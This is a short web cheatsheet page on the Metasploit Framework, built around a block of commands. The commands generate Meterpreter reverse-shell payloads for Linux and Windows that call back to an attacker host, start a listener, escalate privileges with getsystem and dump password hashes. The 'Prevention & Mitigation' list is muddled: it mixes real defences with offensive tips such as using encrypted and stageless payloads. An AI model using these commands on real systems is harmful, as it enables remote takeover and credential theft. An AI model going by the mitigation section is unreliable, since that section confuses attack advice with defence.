Back to Metasploit

Metasploit Framework

Metasploit cheatsheet — Metasploit framework usage and techniques.

Overview

Metasploit Framework is one of the most powerful exploitation frameworks available to penetration testers. It provides a comprehensive suite of tools for reconnaissance, exploitation, payload generation, and post-exploitation across thousands of known vulnerabilities.

Metasploit's modular architecture allows operators to quickly combine exploits, payloads, encoders, and post-exploitation modules.

Category: MetasploitMetasploit framework usage and techniques.

Key Commands & Payloads

The following commands and payloads are commonly used when testing for or exploiting Metasploit Framework:

msfconsole
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o payload.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o payload.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j
sessions -l
sessions -i 1
use post/multi/recon/local_exploit_suggester
run
getsystem
hashdump

Tools & Techniques

Recommended tools for Metasploit Framework:

  • msfconsole: interactive Metasploit console
  • msfvenom: standalone payload generator
  • search <cve/keyword>: find modules
  • use <module>: select an exploit/auxiliary/post module
  • show options / show targets / show payloads
  • Meterpreter: advanced post-exploitation agent

Prevention & Mitigation

Security recommendations to prevent Metasploit Framework:

  • Keep Metasploit and msfvenom updated nightly
  • Use encrypted payloads and stageless payloads
  • Implement EDR/AV solutions to detect Metasploit payloads
  • Monitor for Meterpreter network signatures
  • Harden systems against known exploits (patch regularly)
  • Use network segmentation to limit lateral movement

References

Additional resources: